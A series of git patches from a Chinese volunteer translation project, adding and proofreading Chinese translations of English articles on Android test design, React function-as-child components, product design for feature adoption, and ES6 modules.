-Again, notice that we can make this change without thinking about the `OnPermissionResultListener` at all. This is actually exactly what Larry Constantine was talking about when he first defined the concept of coupling back in the 70s:
+请再留意，我们可以不用考虑 `OnPermissionResultListener` 就直接改变其内容。这实际就是 Larry Constantine 在 70 年代提出对耦合这一概念的定义：
 
-> what we are striving for is loosely coupled systems…in which one can study (or debug, or maintain) any one module without having to know very much about any other modules in the system
+> 我们尽力让系统解耦。。。这样我们就能研究（或者调试、维护）其中一个模块而无需考虑系统中的其他模块
 > 
 > –Edward Yourdon and Larry Constantine, Structured Design
 
-#### Reducing Duplication ####
+#### 去重
 
-Here’s another interesting reason to why the fact that our tests have forced us to remove coupling is a good thing: coupling often leads to duplication. Here’s Kent Beck on this:
+这是另一个有趣的原因，为什么实际上通过我们的测试来迫使我们解耦是一件好事：耦合通常会导致重复。Kent Beck 曾对此有相关看法：
 
-> Dependency is the key problem in software development at all scales…if dependency is the problem, duplication is the symptom.
+> 依赖是任意规模的软件开发的重点问题。。。如果依赖成为了问题，这就会体现在重复上。
 > 
 > -Kent Beck, TDD By Example, pg 7.
 
-If this is true, when we remove coupling, we will often see opportunities to reduce duplication. Indeed, this is precisely what we find in this case. It turns out that there is  another classes whose `onRequestPermissionsResult` is nearly identical to the one in `MapActivity`: [`AccountFragment`](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/welcome/AccountFragment.java#L139). Our tests drove us to create two classes `OnPermissionResultListener` and `PermittedView` that – without much modification – can be reused in these other classes.
+如果这是对的，当我们解耦，我们将会发现更多的去重机会。的确，在我们这次案例中这个观点显得很准确。我们发现有另外一个类的 `onRequestPermissionsResult` 和 `MapActivity` 的几乎一样：[`AccountFragment`](https://github.com/google/iosched/blob/bd31a838ce4ddc123c71025c859959517c7ae178/android/src/main/java/com/google/samples/apps/iosched/welcome/AccountFragment.java#L139)。我们的测试指引我们来创建 `OnPermissionResultListener` 和 `PermittedView` 这两个类，因此 - 无需任何修改 - 可以在其他类中复用。
 
-### Conclusion ###
+### 结论
 
-So, when we have a hard time testing our `Activity`s and `Fragment`s, its often because our tests are trying to tell us that our code is tightly coupled. The test’s warning about coupling often come in the form of an inability to make an assertion against the code we’re trying to test.1
+所以，当我们难以测试 `Activity` 和 `Fragment`时，通常是因为我们的测试尝试告诉我们所写的代码耦合度太高。测试对耦合度的警告通常以我们无法对代码做出断言的形式表现出来。
 
-When we listen to our tests, instead of changing them by using Roboelectric our powermock, we’re lead to change in our code in a way that makes it less coupled, which makes it easier to make changes and opens up opportunities to reduce duplication.
+当我们听从我们的测试时，与其通过 Roboelectric 和 powermock 替换测试代码，不如改变被测代码，让其耦合度降低，这样我们就能更容易改代码和有更多的机会去重。
 
-### Notes ###
+### 注意
 
-1. It could also show up as an inability to get your target code into the right state for testing. That’s what we saw [in this post](in this post), for example.
+1. 这也可能表现为无法让你的被测代码在测试中以一个正确的状态表现出来。例如我们在[这篇文章](in this post)所看到的。
 
-### We're hiring mid-senior Android developers at [Unikey](http://www.unikey.com/). Email me if you want to work for a Startup in the smart lock space in Orlando ###
+### 我们在 [Unikey](http://www.unikey.com/) 招聘中级 Android 开发者。如果你想要在 Orlando 智能锁定空间里的一间初创公司工作，请发邮件给我。
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 689b12a33f497cd1dd61abce4c0431f78fd674a4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 3 May 2017 10:14:24 +0800
Subject: [PATCH 314/638] Update
 es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md

---
 ...-support-lands-in-browsers-is-it-time-to-rethink-bundling.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
index 2481f7b2bab..5a18c11893e 100644
--- a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
+++ b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
@@ -1,5 +1,5 @@
 > * 原文地址：[ES6 modules support lands in browsers: is it time to rethink bundling?](https://www.contentful.com/blog/2017/04/04/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling/)
-> * 原文作者：[Stefan Judis](https://www.contentful.com/about-us/)
+> * 原文作者：本文已获原作者 [Stefan Judis](https://www.contentful.com/about-us/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From cd3f3b1d560787218f3160e2163d8445e394e5c4 Mon Sep 17 00:00:00 2001
From: ivyxuan <iloveivyxuan@gmail.com>
Date: Wed, 3 May 2017 11:32:11 +0800
Subject: [PATCH 315/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...to-do-when-nobody-is-using-your-feature.md | 43 +++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md b/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
index 784eb541bd1..259e3f9c61b 100644
--- a/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
+++ b/TODO/design-principles-what-to-do-when-nobody-is-using-your-feature.md
@@ -7,45 +7,64 @@
 ---
 
 # Design principles: what to do when nobody is using your feature
+# 设计准则：用户死活不使用新功能怎么办
 
 ![hero](https://blog.intercomassets.com/wp-content/uploads/2017/03/13212312/Intercom_Profiles_Walkthrough_Logo.jpg)
 
 ### When we released our new messenger last year, we added the ability for customers to create rich, personal profiles so their users would always know there’s a real person on the other end.
+### 去年，在我们发布了即时消息之后，我们又添加了一个功能，用户可以创建丰富的个人信息，这样用户就可以知道，在另一端和他们交流的是一个真实的人。
 
 The problem? Nobody was using the feature. Shortly after release, **only 13–15% of customers had fully completed their profiles**. Most were being partially filled in while many others were left untouched.
+可是一个问题随之而来，没有人去尝试这个新的功能。功能刚刚发布之后，**只有 13-15% 的用户完整地填完了信息页**，大部分人只填写了一部分，而更多的人是一点都没有写。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20134424/ss-e1490018054223.png)
 
 After talking with colleagues on our research and analytics teams, we uncovered two primary reasons for such low adoption:
+在我们的调研小组和分析小组跟大学生聊过之后，我们发现新特性之所以没有被采用，主要原因有 2 个：
 
 1. **Visibility**. The ability to create your profile was tucked away in low-visibility places throughout the app.
 2. **Education**. People were unconvinced of the importance of profiles in establishing a personal relationship with their customers.
+1、**可见性**。填写信息的入口被藏在了整个应用里特别不显眼的地方。
+2、**引导性**。用户并没有意识到，信息对于建立和别人的人际关系是多么的重要。
 
 ## One part of a wider solution
+## 解决办法
 
 Profiles lived across many parts of the Intercom product which meant that we had to involve many teams to increase adoption. The growth team integrated profile creation into our on-boarding flow, while product gave higher visibility to profile editing within Intercom itself.
+个人信息贯穿 Intercom 产品的各个部分，也就是说，我们必须投入大量的人力，才能让大家使用这个功能。用户增长团队（Growth Team）先将创建个人信息整合到产品中，然后 Intercom 通过产品本身，再让用户注意到可以他们编辑个人信息。
 
 However, there was a huge opportunity to increase engagement by taking advantage of our mobile apps. Around 45% of teammates who talk with their customers (using our [Resolve](https://www.intercom.com/customer-support-software/help-desk) product) use either the Android or iOS app.
+但其实，只要好好利用手机应用本身，就很可能大大增加用户使用数量。大约有 45% 的组员会使用我们的安卓版本或者苹果版本的应用（[Resolve](https://www.intercom.com/customer-support-software/help-desk) 产品）和他们的客户聊天。
 
 ## Getting started
+## 开始
 
 For every new project, designers at Intercom create a simple list of high-level goals that reference the problem they’re trying to tackle. This helps guide you when thinking of high level solutions. Ours looked something like this:
+对于每一个新项目，Intercom 的设计师都会先根据我们要努力解决的困难，列出一张清单，写清最高目标。这份清单可以引导你去思考解决方案。我们的清单会像下面这个样子：
 
 1. **Raise adoption** for users who have not completed or partially completed their profile.
 2. **Educate users** on the importance of public profiles.
 3. Make it easy for users to **edit their profile** at any time.
+1、**增加受众率**，让更多没有填完信息或是根本没有填写信息的人把信息填写完整。
+2、**教育用户**，让他们知道公开个人信息是多么的重要。
+3、**变简单**，让用户可以随时编辑个人简介。
 
 ### Thinking in systems
+### 进行系统的思考
 
 To start off, we took the profiles apart to help the team understand the system and to decide which specific components needed priority. That meant mapping out an inventory of parts, states, rulesets, etc. Here’s an example of something that would have been up on the wall in our war room.
+首先，我们先抛开个人信息功能不谈，这样可以帮助团队去理解系统架构，然后决策出哪些特定元素需要优先考虑。也就是说，列出现存元素、情况、规则等等。下面是一个会被贴到我们办公室墙上的例子。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182819/system-1.png)
 
 ### Ideas come from anywhere
+### 想法可以来自任何团队
 
 These system docs helped the team discuss technical constraints early on, and even at this early stage the engineering team was offering suggestions that the design team might not have thought of. For example, someone mentioned that we could draw from existing data sources to pre-populate certain components within the profile. Since we have a person’s name when they log into the mobile app, why not carry it over to the profile and save them the time of manually entering in that data?
+这个系统文档帮助团队尽早地对技术限制进行讨论，甚至在初期，程序团队就可以对设计团队没有考虑到地方提出一些建议。例如，有人提到，我们可以把已有的信息预填充进个人信息列表中，因为在用户注册的时候，我们就获得了用户的姓名，所以为什么不能把它直接预填充进个人信息页中，为用户节省一些手动录入信息的时间呢？
 
 After sketching out a few directions, we met with [Emmet](https://blog.intercom.com/author/thoughtwax/), our Director of Product Design, to get feedback and decide on next steps. Here were the four options that were presented:
+在画出几个方案的草图之后，我们去见了我们的产品设计总监 ——  [Emmet](https://blog.intercom.com/author/thoughtwax/)，从他那里得到了反馈还有下一步的计划。下面是 4 个初步设想。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20180350/Profiles-Option-A.png)
 
@@ -54,50 +73,67 @@ After sketching out a few directions, we met with [Emmet](https://blog.intercom.
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20180347/Profiles-Option-C.png)
 
 The crucial ingredients here were disruption and education. We didn’t want this to be too easily dismissible, and we needed room to properly educate users on the importance of the profile and each of it’s components. However, we knew high disruption meant more aversion (i.e. users wanting to skip), so we wanted to keep the number of steps within any walkthrough as low as possible. In the end, we decided to go with the simple walkthrough option.  Below are the decisions from the meeting. Progress!
+最关键的部分是提醒和教育。我们不希望它被轻易地跳过，同时我们需要它可以教育用户，个人信息里的每一个部分都很重要。但是，我们知道过度打扰用户，会让用户感到厌烦（就是说用户总是想要跳过），所以我们想要尽可能地减少每一个过程的操作步骤。最后，我们决定采用最简单的流程。下面是会议的决定，皮皮虾我们走！
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182812/notes.png)
 
 ## Designing the solution
+## 设计解决方案
 
 At this point, we had decided two things. We would add a simple walkthrough to our app on startup which would ask for any missing profile components to be filled in (disruption and education). Our third goal was adding the ability to “edit your profile from anywhere”. We decided to work within our current navigation pattern and add a simple edit icon within the nav drawer which would trigger the walkthrough.
+这个时候，我们做了两个决定。我们要在启动应用的时候加一个简单的流程，询问没有填完信息的用户是否要把信息填写完整（提醒并且教育用户）。我们第三个目标就是“让用户随时随地编辑自己的信息”。我们决定沿用我们现在的引导模式，然后在抽屉式导航中加一个简单的编辑图标，这样就会进行跳转。
 
 **Note:** One of our core values here at Intercom is “think big, start small”. We had been planning a navigation update for a while at this point. Moving from the drawer to the tab bar would be great for a variety of reasons, but would have been a ton of effort engineering wise at the time and we needed to ship fast.
+**注意：** 在 Intercom，我们其中的一个重要价值观就是“仰望星空，脚踏实地”。在这个时候，我们暂时决定更新抽屉式导航栏，虽然加在底部导航栏中会比加在抽屉式导航栏中更好，然而那依赖于工程师大量的工作量，而我们需要尽快发布。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13225749/Current-navigation-vs-planned-navigation.png)
 
 At a system level, we established three states for users which would dictate their position within the walkthrough. From the chosen high-level direction, we knew that the the flow would consist of three primary steps (see diagram below) which we wanted to make as easy and lightweight as possible.
+在系统架构层面上，我们提出了 3 个用户状态，它们会让用户处于流程中的不同位置。在大方向上，我们知道流程由 3 个主要的步骤组成（示意图如下），这么做也是因为我们想让流程尽可能的简单化和轻量化。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20182815/entry.png)
 
 Walkthroughs are pretty straightforward in terms of system design. They are a fixed pathway from beginning to end, but the logic gets more complex when taking user states into account. We’d want you to skip straight to the most relevant part instead of forcing you to go through the entire walkthrough. It’s also very important to consider platform specific steps such as camera permissions. Not every step is a new screen.
+基于系统设计的流程图是很简单的，它从开始到结束是一段固定的路径，但是如果把用户状态也考虑进去，就会变得很复杂。但我们想让你直接跳到相关的步骤，而不是强迫你一定要走完整个流程。这里也需要考虑不同平台会有的特殊步骤，比如开启摄像头权限。
 
 Again, these diagrams were printed out and put up in our war room. Engineers would often be at the wall scouring through the flow, and a few times they would spot an edge case that would require us make changes together.
+于是，这些图表也会打印出来并且挂在我们的办公室里。工程师会常常站在墙前浏览整个流程，有时候还会提出一些边界情况，需要我们一起再对流程进行修改。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13211829/diagram.png)
 
 ## Execution
+## 建模
 
 By now we had the skeleton to start fleshing out each part. Visual and interaction design happened simultaneously, with the knowledge that we’d continue to tweak visuals as we build. We’ve found that finalising the details around any complex interactions or animations should be done as soon as possible (which is why high fidelity prototypes are great). It’s much harder to change these later on as opposed to visual design tweaks such as updated assets, colours, etc.
+到目前为止，我们已经有了框架，然后就可以将每个部分进行填充了。视觉和交互设计我们同时进行，然后在进行开发的时候也还要继续调整视觉。我们发现对于复杂的交互和动画，越早确定细节越好（这也是为什么高保真原型很棒的原因），因为之后再去做某些调整，比如更新组织结构、颜色等等，就会变得很困难，因为它和调整视觉设计不一样。
 
 We used [Framer JS](https://framer.com/) as a way to prototype early interaction ideas, discuss with engineering and agree on what could be done. Here’s an example of our final iOS flow after around 12 prototypes.
+我们使用 [Framer JS](https://framer.com/) 来实现初期的交互原型，并和工程师对最后可以实现什么效果行了讨论。
 
 From a visual design perspective, our mobile apps already followed closely to our brand. Any new designs need to maintain that language as well as reuse any patterns needed. We worked with our stellar [brand design team](http://intercombrandstudio.tumblr.com/) for illustrations on the intro and confirmation screens.
+从视觉设计的角度来说，我们的手机应用要和我们的品牌相契合。任何新的设计不仅需要在语言上保持一致性，还要重复使用必要的图案。所以我们和我们一流的品牌设计团队一起合作完成了介绍页面和确认页面的图案。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/13211837/illustrations.png)
 
 Content was crucial to the education problem. We needed to explain why profiles were important in a concise way. Design worked closely with [Elizabeth McGuane](https://blog.intercom.com/author/emcguane/), our content strategist, to create a more compelling experience and help users understand why a great profile matters.
+要解决教育问题，内容是至关重要的。我们需要解释清楚，为什么个人信息有那么重要。我们的内容策划师  [Elizabeth McGuane](https://blog.intercom.com/author/emcguane/) 也会亲临设计工作，以此创造出更加扣人心弦的体验，并帮助用户理解个人信息的重要性。
 
 ![](https://blog.intercomassets.com/wp-content/uploads/2017/03/20142756/Screen-Shot-2017-03-20-at-14.27.34-e1490020092177.png)
 
 ## Testing and tweaking
+## 测试和调整
 
 We were conscious of the disruptiveness of the walkthrough and how many people would most likely skip it, even after adding the option of reminding users to complete their profile later. Setting up metrics for component and overall completion was key, as well as allowing for a beta period to adjust based on results.
+即使我们添加了之后提醒我的选项，我们依然清楚，会有很多用户跳过，他们不会按照流程去走。所以关键是要对整体的完成率和组件进行数据上的统计，然后基于结果在测试阶段进行调整。
 
 For our first beta, our initial completion rate was quite low, especially on Android. We made a variety of tweaks to the design, such as removing prominence from the remind me later button, altering layout and tweaking the content to be more playful and less instructive.
+我们第一个版本达成的完成率相当低，特别是安卓版本。所以我们对设计又做了大量的调整，比如让之后提醒我的按钮不那么明显，调整布局和内容，使其多一点趣味性，少一点指导意味。
 
 ## Building a feature people actually use
+## 开发一个用户会真正使用的特性
 
 Over about a week of quick tweaks and monitoring, the completion rate increased dramatically. Thanks to the input of multiple teams, we saw our **overall profile completion rate jump from 14% to 46% within a month**. The mobile walkthrough played a huge role in this push. We were also left with a concrete set of takeaways that we could apply to our next project:
+经过一周的快速的调整，完成率大幅度上升。由于多个小组的共同参与，我们看到了我们**信息完成率在一个月内从 14% 涨到了 46%**。
 
 - Make sure the problem is crystal clear to all stakeholders, across teams
 - Ground the problem in research and metrics, use high level goals to guide your solutions
@@ -105,8 +141,15 @@ Over about a week of quick tweaks and monitoring, the completion rate increased
 - Design should work with engineering early and consistently to grab ideas and validate concepts
 - Interaction design should be nailed as soon as possible as it’s much easier to tweak visual designs while building
 - Know your metrics of success, track the success of your solution and make sure there’s time to tweak
+- 确保问题对所有利益相关者和所有团队都是清楚明确的
+- 用调查和数据解决问题，用大目标去指导解决方案
+- 不管做什么都要脚踏实地仰望星空
+- 设计要尽早和程序对接，交换想法并明确概念
+- 交互设计要尽早确定下来，趁着调整还不太难
+- 明确成功的度量方法，跟踪解决办法是否有效，并确保还有时间进行调整
 
 Following a clear, logical process like this vastly increased our chances of producing a feature that people actually use. It may seem like a lot of detail at first, but once you establish the habit it becomes second nature.
+遵循这样一个明确、有逻辑的流程，大大增加了用户真正去使用新特性的可能性。起初整个流程可能会看起来太复杂，但是一旦养成了习惯，就会成为下意识的做法。
 
 ---
 

From 3d16b3d7ab01cbb77a57ccae3d4dbd7857b3db99 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Wed, 3 May 2017 13:48:22 +0800
Subject: [PATCH 316/638] Delete redundant blank space

---
 ...-support-lands-in-browsers-is-it-time-to-rethink-bundling.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
index 60759c6850d..b5a6d48340b 100644
--- a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
+++ b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
@@ -58,7 +58,7 @@ export default function() {
 }
 ```
 
-这个 app 将会显示“Hello world”。在下文中显示“Hello world” 即表示脚本加载成功。
+这个 app 将会显示“Hello world”。在下文中显示“Hello world”即表示脚本加载成功。
 
 ### 装载一个代码包（bundle）
 

From 2def04463d1916f2767e7804d142c1e8ac823ee5 Mon Sep 17 00:00:00 2001
From: rottenpen <522876037@qq.com>
Date: Wed, 3 May 2017 14:10:44 +0800
Subject: [PATCH 317/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B92?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/function-as-child-components.md | 47 ++++++++++++++--------------
 1 file changed, 24 insertions(+), 23 deletions(-)

diff --git a/TODO/function-as-child-components.md b/TODO/function-as-child-components.md
index 10f18cb7a22..d5e223f963a 100644
--- a/TODO/function-as-child-components.md
+++ b/TODO/function-as-child-components.md
@@ -5,21 +5,22 @@
 > * 校对者：[loveky](https://github.com/loveky) [avocadowang](https://github.com/avocadowang) 
 
 
-# 将函数作为子类的组件 #
+# 将函数作为子组件的组件 #
 
-我最近在 Twitter 上发起了关于高阶组件和将函数作为子类的组件的投票，得到的结果让我很惊喜。
+我最近在 Twitter 上发起了关于高阶组件和将函数作为子类的组件的投票，得到的结果让我很意外。
 
-如果你不知什么是“函数作为子类的组件”，我试图通过这篇文章告诉你：
+如果你不知什么是“函数作为子组件的组件”，我试图通过这篇文章告诉你：
 
-1. 函数作为子类的组件是什么。
+1. 函数作为子组件的组件是什么。
 
 2. 它为什么有用。
 
-3. 我只想享受分享的快乐，而不是收获一些Twitter转发，点赞，或是上一些newsletter等等。你懂我的意思吧？
+3. 我只想享受分享的快乐，而不是收获一些 Twitter 转发，点赞，或是上一些 newsletter 等等。你懂我的意思吧？
 
-## 什么是函数作为子类的组件？ ##
 
-“函数作为子类的组件”是接收一个函数当作父组件的子类组件。
+## 什么是函数作为子组件的组件？ ##
+
+“函数作为子组件的组件”是接收一个函数当作父组件的子组件组件。这种模式的实施和执行得益于 React 的 property types。
 
 ```
 classMyComponentextendsReact.Component{   
@@ -38,7 +39,7 @@ MyComponent.propTypes = {
 
 ```
 
-没错！通过子类函数组件我们就能解耦父类组件和它们的子类，让设计者决定选用哪些参数及怎么将参数应用于子类组件。例如：
+没错！通过函数作为子类组件的组件我们就能解耦父类组件和它们的子类组件，让设计者决定选用哪些参数及怎么将参数应用于子类组件。例如：
 
 ```
 <MyComponent>
@@ -49,7 +50,7 @@ MyComponent.propTypes = {
 
 ```
 
-有些人打算在同一组件里添加不同名字，或者不同属性：
+其他使用这一组件的人可能考虑以不同的方式使用 name ，比如使之作为一个元素的属性：
 
 ```
 <MyComponent>
@@ -59,13 +60,13 @@ MyComponent.propTypes = {
 </MyComponent>
 ```
 
-对 MyComponent 最贴切的说法是，子类组件函数作为父类管理状态的组件，而不是对其状态的利用。让我们再来一个更真实的例子。
+这里真正奇妙的地方在于，MyComponent ，可以让函数作为子类组件的组件管理状态而不用关心它们是如何使用这些状态的。让我们再来一个更真实的例子。
 
 ### 百分比组件 ###
 
 Ratio 组件将使用设备的宽度，监听 resize 事件并将宽度、高度以及一些描述是否完成尺寸计算的信息传给它的子组件。
 
-首先我们从函数作为子类的组件的片段开始，这片段在所有子组件函数中都是常见的，它只是让消费者知道我们期望一个函数作为子组件，而不是 React 节点。
+首先我们从函数作为子类组件的组件的代码片段开始，这片段在所有子组件函数中都是常见的，它只是让 Comsumer 知道我们期望一个函数作为子组件，而不是 React 节点。
 
 ```
 classRatioextendsReact.Component{  
@@ -82,7 +83,7 @@ Ratio.propTypes = {
 
 ```
 
-接下来让我们设计 API ，我们想要一个 X Y 轴的比率，然后我们使用当前的宽度来计算，可以设置一些内部 state 来管理宽度和高度，无论我们是否已经计算了。此外，propTypes 和 defaultProps 在我们使用组件的时候也该有不错的表现。
+接下来让我们设计 API ，我们想要一个 X Y 轴的比率，然后我们使用当前的宽度来计算，可以设置一些内部 state 来管理宽度和高度，无论我们是否已经计算了。此外，也该让 propTypes 和 defaultProps 在使用组件时发挥点作用。
 
 ```
 classRatioextendsReact.Component{  
@@ -188,11 +189,11 @@ Ratio.defaultProps = {
 
 ```
 
-好吧，在这我做了很多东西。我们添加了一些事件监听来监听 resize 事件以及使用提供的比率计算实际的宽度高度。所以我们得到的宽高在组件的 state 里，那我们如何与其他组件分享它们呢？
+好吧，在这我做了很多东西。我们添加了一些事件监听来监听 resize 事件以及使用提供的比率计算实际的宽度高度。所以我们得到的宽高在组件的 state 里，那我们如何与其他组件共享它们呢？
 
-这是一件难以理解的事情，因为它很容易让人认为“这不可能是全部”，但事实这就是全部了。
+这是一件难以理解的事情，因为它很容易让人认为“这就完了？”，但事实这就是全部了。
 
-#### 子类组件只是一个 javascript 函数 ####
+#### 子类组件只是一个 Javascript 函数 ####
 
 这意味着想要计算出宽度和高度，我们只需要提供参数：
 
@@ -244,8 +245,8 @@ render() {
 
 ### 优势 ###
 1. 构造组件的开发人员能自主控制如何传递和使用这些属性。
-2. 函数作为子类的组件的作者不强制组件的值如何被利用，允许它非常灵活的使用。
-3. Comsumer 不需要创建另一个组件来决定怎样从“高阶组件”传入属性。高阶组件通常在组成的组件上强制执行属性名称。 为了解决这个问题，许多“高阶组件”提供了一个选择器函数，允许消费者选择你的属性名称（请参考 redux 连接选择功能）。这不是函数子组件的问题。
+2. 函数作为子类组件的组件的作者不强制组件的值如何被利用，允许它非常灵活的使用。
+3. Comsumers 不需要创建另一个组件来决定怎样从“高阶组件”传入属性。高阶组件通常在组成的组件上强制执行属性名称。 为了解决这个问题，许多“高阶组件”提供了一个选择器函数，允许 Comsumers 选择你的属性名称（请参考 redux 连接选择功能）。这不是函数子组件的问题。
 4. 不污染 “props” 命名空间，这允许你同时使用 “Ratio” 组件和 “Pinch to Zoom” 组件，不管它们是否都会计算宽度。高阶组件带有与它们组成的组件相关的隐式契约，不幸的是这可能意味着 prop 的名称会发生冲突以至于高阶组件无法与其他组件进行组合。
 5. 高阶组件在你的开发工具和组件本身中创建一个间接层，例如设置在组件上的常量被高阶组件封装后将无法使用。例如：
 
@@ -254,17 +255,17 @@ MyComponent.SomeContant = 'SCUBA';
 
 ```
 
-然后被组件封装,
+然后被高阶组件封装,
 
 ```
 exportdefault connect(...., MyComponent);
 
 ```
 .
-让你的常数安息吧。因为如果没有高阶组件提供的函数，你将再也不能访问到这个常量。哭。
+和你的常量说再见吧。因为如果没有高阶组件提供的函数，你将再也不能访问到这个常量。哭。
 
 #### 总结 ####
-大多数时候我们会认为“我需要一个高阶组件来实现这个共享功能！”根据我的经验，我相信在多数情况下函数作为子类的组件是一个更好的替代方法来抽象你的 UI 问题，除非你的子组件与其组合的高阶组件真正耦合。
+大多数时候我们会认为“我需要一个高阶组件来实现这个共享功能！”根据我的经验，我相信在多数情况下函数作为子类组件的组件是一个更好的替代方法来抽象你的 UI 问题，除非你的子组件与其组合的高阶组件真正耦合。
 
 #### 关于高阶组件的不幸事实 ####
 补充一下，我认为高阶组件的名称不正确，尽管现在尝试修改已经有点晚了。高阶函数是至少执行一下操作之一的函数：
@@ -273,16 +274,16 @@ exportdefault connect(...., MyComponent);
 
 事实上，高阶组件做了类似的事情，也就是拿一个组件作为参数并返回一个组件，但是我更容易将高阶组件看作是工厂函数，它是一个能动态创建的组件将允许的功能用于组件的运行组合。然而，在运行组合的时候他们是**不知道**你的 React 的 state 和 props 。
 
-函数作为子类的组件允许你的组件们在作出组合决策时可以访问 state ， props 和上下文。当函数作为子组件：
+函数作为子类组件的组件允许你的组件们在作出组合决策时可以访问 state ， props 和上下文。当函数作为子组件：
 
 1. 将一个函数作为参数。
 2. 渲染此函数的结果。
 
-我不禁觉得它们应该得到“高阶组件”的标题，因为它像高阶函数只使用组件组合技术而不是功能组合。好吧，现在我们还是继续用“将函数作为子类的组件”这个粗暴的名字。
+我觉得它们应该被命名为“高阶组件”，因为它像高阶函数只使用组件组合技术而不是功能组合。好吧，现在我们还是继续用“将函数作为子类的组件”这个粗暴的名字。
 ### 例子 ###
 
 1. [Pinch to Zoom - Function as Child Component](https://gist.github.com/iammerrick/c4bbac856222d65d3a11dad1c42bdcca)
-2. [react-motion](https://github.com/chenglou/react-motion) 这个项目在讲了很长一段时间这个概念之后，高阶组件才演变出函数子组件。
+2. [react-motion](https://github.com/chenglou/react-motion) 这个项目在讲了很长一段时间这个概念之后，高阶组件才演变出函数作为子类组件的组件。
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From ba71187785b3cc44bc39227a5395c15fb0438287 Mon Sep 17 00:00:00 2001
From: loveky <ylzcylx@gmail.com>
Date: Wed, 3 May 2017 14:37:12 +0800
Subject: [PATCH 318/638] save

---
 TODO/the-truth-is-in-the-code.md | 280 ++++++++++++++++---------------
 1 file changed, 142 insertions(+), 138 deletions(-)

diff --git a/TODO/the-truth-is-in-the-code.md b/TODO/the-truth-is-in-the-code.md
index 8e042fa1d9d..1a0cc11d04e 100644
--- a/TODO/the-truth-is-in-the-code.md
+++ b/TODO/the-truth-is-in-the-code.md
@@ -1,271 +1,275 @@
 > * 原文地址：[The truth is in the code](https://medium.freecodecamp.com/the-truth-is-in-the-code-86a712362c99)
 > * 原文作者：[Bertil Muth](https://medium.freecodecamp.com/@BertilMuth)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[loveky](https://github.com/loveky)
 > * 校对者：
 
-# The truth is in the code #
+# 真相都在代码中 #
 
 ![](https://cdn-images-1.medium.com/max/800/1*Fw8F2fRNVfkcE-0VGyDZhQ.png)
 
-[shoppingapp](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) model, example of [requirementsascode](https://github.com/bertilmuth/requirementsascode)
+[shoppingapp](https://github.com/bertilmuth/requirementsascode/tree/master/requirementsascodeexamples/shoppingappjavafx) 模型,[requirementsascode](https://github.com/bertilmuth/requirementsascode) 的示例代码
 
-Sooner or later, every software developer will hear something like this:
+早晚有一天，每个程序员都会听到这样一句话：
 
-> “Truth can only be found in one place: the code.”
+> “真相只能在一处找到：代码中。”
 
-> – Robert C. Martin, [Clean Code](https://www.amazon.de/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)
